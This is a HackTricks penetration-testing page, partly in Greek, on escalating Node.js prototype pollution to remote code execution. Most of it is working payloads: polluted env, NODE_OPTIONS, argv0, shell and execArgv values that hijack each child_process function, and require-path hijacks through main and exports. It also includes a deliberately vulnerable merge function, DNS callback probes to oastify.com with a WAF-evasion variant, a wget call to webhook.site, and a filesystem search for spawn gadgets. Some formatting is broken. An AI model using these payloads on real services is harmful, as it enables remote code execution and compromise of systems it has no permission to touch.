Prototype Pollution to RCE

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Ευάλωτος Κώδικας

Imagine a real JS using some code like the following one:

const { execSync, fork } = require('child_process');

function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}

// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}

function clone(target) {
return merge({}, target);
}

// Run prototype pollution with user input
// Check in the next sections what payload put here to execute arbitrary code
clone(USERINPUT);

// Spawn process, this will call the gadget that poputales env variables
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork('a_file.js');

PP2RCE μέσω env vars

PP2RCE σημαίνει Prototype Pollution to RCE (Remote Code Execution).

Σύμφωνα με αυτήν την αναφορά όταν μια διαδικασία δημιουργείται με κάποια μέθοδο από child_process (όπως fork ή spawn ή άλλες) καλεί τη μέθοδο normalizeSpawnArguments η οποία είναι ένα gadget ρύθμισης πρωτοτύπου για τη δημιουργία νέων env vars:

//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686

var env = options.env || process.env;
var envPairs = [];
[...]
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}

Check that code you can see it's possible en poison envPairs just by polluting the attribute .env.

Poisoning __proto__

Note that due to how the normalizeSpawnArguments function from the child_process library of node works, when something is called in order to set a new env variable for the process you just need to pollute anything. For example, if you do __proto__.avar="valuevar" the process will be spawned with a var called avar with value valuevar.

However, in order for the env variable to be the first one you need to pollute the .env attribute and (only in some methods) that var will be the first one (allowing the attack).

That's why NODE_OPTIONS is not inside .env in the following attack.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce\\\").toString())//"}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

Δηλητηρίαση constructor.prototype

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"

proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec2

PP2RCE via env vars + cmdline

Μια παρόμοια payload με την προηγούμενη με κάποιες αλλαγές προτάθηκε σε αυτή τη γραφή. Οι κύριες διαφορές είναι:

  • Αντί να αποθηκεύει το nodejs payload μέσα στο αρχείο /proc/self/environ, το αποθηκεύει inside argv0 του /proc/self/cmdline.

  • Στη συνέχεια, αντί να απαιτεί μέσω NODE_OPTIONS το αρχείο /proc/self/environ, απαιτεί το /proc/self/cmdline.

const { execSync, fork } = require('child_process');

// Manual Pollution
b = {}
b.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"

// Trigger gadget
var proc = fork('./a_file.js');
// This should create the file /tmp/pp2rec2


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce2\\\").toString())//"}}')

clone(USERINPUT);

var proc = fork('a_file.js');
// This should create the file /tmp/pp2rec

DNS Interaction

Χρησιμοποιώντας τα παρακάτω payloads είναι δυνατόν να εκμεταλλευτούμε τη μεταβλητή περιβάλλοντος NODE_OPTIONS που έχουμε συζητήσει προηγουμένως και να ανιχνεύσουμε αν λειτούργησε με μια DNS αλληλεπίδραση:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id.oastify.com"
}
}

Ή, για να αποφευχθούν οι WAF που ζητούν το domain:

{
"__proto__": {
"argv0":"node",
"shell":"node",
"NODE_OPTIONS":"--inspect=id\"\".oastify\"\".com"
}
}

PP2RCE ευπάθεια child_process συναρτήσεις

Σε αυτή την ενότητα θα αναλύσουμε κάθε συνάρτηση από το child_process για να εκτελέσουμε κώδικα και να δούμε αν μπορούμε να χρησιμοποιήσουμε κάποια τεχνική για να αναγκάσουμε αυτή τη συνάρτηση να εκτελέσει κώδικα:

exec εκμετάλλευση
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
// because options.env is null (not undefined)

// cmdline trick - working with small variation
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec('something');

// stdin trick - not working
// Not using stdin

// Windows
// Working after kEmptyObject (fix)
const { exec } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec('something');
execFile εκμετάλλευση

```javascript // environ trick - not working // It's not possible to pollute the .en attr to create a first env var

// cmdline trick - working with a big requirement // Working after kEmptyObject (fix) const { execFile } = require('child_process'); p = {} p.proto.shell = "/proc/self/exe" //You need to make sure the node executable is executed p.proto.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//" p.proto.NODE_OPTIONS = "--require /proc/self/cmdline" var proc = execFile('/usr/bin/node');

// stdin trick - not working // Not using stdin

// Windows - not working

Για να λειτουργήσει το **`execFile`**, **ΠΡΕΠΕΙ** να εκτελεί το node για να λειτουργήσουν οι NODE\_OPTIONS.\
Αν **δεν** εκτελεί το **node**, πρέπει να βρείτε πώς θα μπορούσατε να **αλλάξετε την εκτέλεση** ό,τι εκτελεί **με μεταβλητές περιβάλλοντος** και να τις ρυθμίσετε.

Οι **άλλες** τεχνικές **λειτουργούν** χωρίς αυτή την απαίτηση γιατί είναι **δυνατό να τροποποιηθεί** **ό,τι εκτελείται** μέσω της ρύπανσης πρωτοτύπου. (Σε αυτή την περίπτωση, ακόμα κι αν μπορείτε να ρυπάνετε το `.shell`, δεν θα ρυπάνετε αυτό που εκτελείται).

</details>

<details>

<summary><code>fork</code> exploitation</summary>

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>

```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork('something');

// cmdline trick - working
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
p = {}
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork('something');

// stdin trick - not working
// Not using stdin

// execArgv trick - working
// Only the fork method has this attribute
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "/bin/sh"
b.__proto__.argv0 = "/bin/sh"
b.__proto__.execArgv = ["-c", "touch /tmp/fork-execArgv"]
var proc = fork('./a_file.js');

// Windows
// Working after kEmptyObject (fix)
const { fork } = require('child_process');
b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork('./a_file.js');
spawn εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - not working
// Not using stdin

// Windows
// NOT working after require(fix) without options
const { spawn } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn('something');
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
execFileSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execFileSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execFileSync-stdin}\n'
var proc = execFileSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
execSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of ndoe
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync('something');

// cmdline trick - working with small variation (shell)
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync('something');

// stdin trick - working
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/execSync-stdin}\n'
var proc = execSync('something');

// Windows
// Working after kEmptyObject (fix)
const { execSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync('something');
spawnSync εκμετάλλευση
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
// If in windows or mac you need to change the following params to the path of node
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//"}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// cmdline trick - working with small variation (shell)
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)


// stdin trick - working
// NOT working after kEmptyObject (fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.argv0 = "/usr/bin/vim"
p.__proto__.shell = "/usr/bin/vim"
p.__proto__.input = ':!{touch /tmp/spawnSync-stdin}\n'
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)

// Windows
// NOT working after require(fix) without options
const { spawnSync } = require('child_process');
p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync('something');
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)

Forcing Spawn

Στα προηγούμενα παραδείγματα είδατε πώς να ενεργοποιήσετε το gadget, μια λειτουργία που καλεί το spawn πρέπει να είναι παρούσα (όλες οι μέθοδοι του child_process που χρησιμοποιούνται για την εκτέλεση κάτι το καλούν). Στο προηγούμενο παράδειγμα αυτό ήταν μέρος του κώδικα, αλλά τι γίνεται αν ο κώδικας δεν το καλεί.

Έλεγχος διαδρομής αρχείου require

Σε αυτήν την άλλη ανάλυση ο χρήστης μπορεί να ελέγξει τη διαδρομή του αρχείου όπου θα εκτελεστεί ένα require. Σε αυτό το σενάριο, ο επιτιθέμενος χρειάζεται απλώς να βρει ένα αρχείο .js μέσα στο σύστημα που θα εκτελεί μια μέθοδο spawn όταν εισαχθεί. Ορισμένα παραδείγματα κοινών αρχείων που καλούν μια συνάρτηση spawn όταν εισάγονται είναι:

  • /path/to/npm/scripts/changelog.js

  • /opt/yarn-v1.22.19/preinstall.js

  • Βρείτε περισσότερα αρχεία παρακάτω

Το παρακάτω απλό σενάριο θα αναζητήσει κλήσεις από child_process χωρίς καμία προσθήκη (για να αποφευχθεί η εμφάνιση κλήσεων μέσα σε συναρτήσεις):

find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
Ενδιαφέροντα αρχεία που βρέθηκαν από το προηγούμενο σενάριο
  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/npm/scripts/changelog.js:16:const log = execSync(git log --reverse --pretty='format:%h %H%d %s (%aN)%n%b%n---%n' ${branch}...).toString().split(/\n/)

  • node_modules/detect-libc/bin/detect-libc.js:18:process.exit(spawnSync(process.argv[2], process.argv.slice(3), spawnOptions).status);

  • node_modules/jest-expo/bin/jest.js:26:const result = childProcess.spawnSync('node', jestWithArgs, { stdio: 'inherit' });

  • node_modules/buffer/bin/download-node-tests.js:17:cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })

  • node_modules/buffer/bin/test.js:10:var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })

  • node_modules/runtypes/scripts/format.js:13:const npmBinPath = execSync('npm bin').toString().trim();

  • node_modules/node-pty/scripts/publish.js:31:const result = cp.spawn('npm', args, { stdio: 'inherit' });

Ρύθμιση διαδρομής αρχείου require μέσω μόλυνσης πρωτοτύπου

Η προηγούμενη τεχνική απαιτεί ότι ο χρήστης ελέγχει τη διαδρομή του αρχείου που πρόκειται να χρησιμοποιηθεί. Αλλά αυτό δεν ισχύει πάντα.

Ωστόσο, αν ο κώδικας πρόκειται να εκτελέσει ένα require μετά τη μόλυνση του πρωτοτύπου, ακόμη και αν δεν ελέγχετε τη διαδρομή που πρόκειται να απαιτηθεί, μπορείτε να αναγκάσετε μια διαφορετική χρησιμοποιώντας τη μόλυνση του πρωτοτύπου. Έτσι, ακόμη και αν η γραμμή κώδικα είναι όπως require("./a_file.js") ή require("bytes"), θα χρησιμοποιήσει το πακέτο που μολύνατε.

Επομένως, αν εκτελείται ένα require μετά τη μόλυνση του πρωτοτύπου σας και καμία συνάρτηση spawn, αυτή είναι η επίθεση:

  • Βρείτε ένα .js αρχείο μέσα στο σύστημα που όταν χρησιμοποιηθεί θα εκτελέσει κάτι χρησιμοποιώντας child_process

  • Αν μπορείτε να ανεβάσετε αρχεία στην πλατφόρμα που επιτίθεστε, μπορεί να ανεβάσετε ένα αρχείο όπως αυτό

  • Μολύνετε τις διαδρομές για να αναγκάσετε τη φόρτωση του .js αρχείου που θα εκτελέσει κάτι με child_process

  • Μολύνετε το environ/cmdline για να εκτελέσετε αυθαίρετο κώδικα όταν καλείται μια συνάρτηση εκτέλεσης child_process (βλ. τις αρχικές τεχνικές)

Απόλυτο require

Αν το εκτελούμενο require είναι απόλυτο (require("bytes")) και το πακέτο δεν περιέχει main στο αρχείο package.json, μπορείτε να μολύνετε την ιδιότητα main και να κάνετε το require να εκτελεί ένα διαφορετικό αρχείο.

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Install package bytes (it doesn't have a main in package.json)
// npm install bytes

// Manual Pollution
b = {}
b.__proto__.main = "/tmp/malicious.js"

// Trigger gadget
var proc = require('bytes');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_absolute\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('bytes');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Σχετική απαίτηση - 1

Αν φορτωθεί μια σχετική διαδρομή αντί για μια απόλυτη διαδρομή, μπορείτε να κάνετε το node να φορτώσει μια διαφορετική διαδρομή:

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.exports = { ".": "./malicious.js" }
b.__proto__["1"] = "/tmp"

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_1\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Σχετική απαίτηση - 2

// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab

// Manual Pollution
b = {}
b.__proto__.data = {}
b.__proto__.data.exports = { ".": "./malicious.js" }
b.__proto__.path = "/tmp"
b.__proto__.name = "./relative_path.js" //This needs to be the relative path that will be imported in the require

// Trigger gadget
var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js
// The relative path doesn't even need to exist


// Abusing the vulnerable code
USERINPUT = JSON.parse('{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\\"child_process\\\").execSync(\\\"touch /tmp/pp2rce_exports_path\\\").toString())//"}}')

clone(USERINPUT);

var proc = require('./relative_path.js');
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec

Σχετική απαίτηση - 3

Παρόμοια με την προηγούμενη, αυτό βρέθηκε σε αυτή τη γραφή.

// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js"
},
name: './usage'
}
Object.prototype["path"] = '/opt/yarn-v1.22.19'
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
"NODE_DEBUG": "console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
"NODE_OPTIONS": "--require=/proc/self/environ"
}

require('./usage.js')

VM Gadgets

Στο έγγραφο https://arxiv.org/pdf/2207.11171.pdf αναφέρεται επίσης ότι ο έλεγχος του contextExtensions από ορισμένες μεθόδους της βιβλιοθήκης vm θα μπορούσε να χρησιμοποιηθεί ως gadget. Ωστόσο, όπως οι προηγούμενες μέθοδοι child_process, έχει διορθωθεί στις τελευταίες εκδόσεις.

Fixes & Unexpected protections

Παρακαλώ σημειώστε ότι η μόλυνση πρωτοτύπου λειτουργεί αν το attribute ενός αντικειμένου που προσπελάζεται είναι undefined. Αν στον κώδικα αυτό το attribute έχει οριστεί σε μια τιμή δεν θα μπορέσετε να το αντικαταστήσετε.

Το Ιούνιο του 2022 από αυτήν την δέσμευση η μεταβλητή options αντί για ένα {} είναι ένα kEmptyObject. Αυτό αποτρέπει τη μόλυνση πρωτοτύπου να επηρεάσει τα attributes του options για να αποκτήσει RCE. Τουλάχιστον από την v18.4.0 αυτή η προστασία έχει υλοποιηθεί, και επομένως οι εκμεταλλεύσεις spawn και spawnSync που επηρεάζουν τις μεθόδους δεν λειτουργούν πια (αν δεν χρησιμοποιούνται options!).

Στην αυτήν την δέσμευση η μόλυνση πρωτοτύπου του contextExtensions από τη βιβλιοθήκη vm έχει επίσης διορθωθεί ρυθμίζοντας τις επιλογές σε kEmptyObject αντί για {}.

Other Gadgets

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated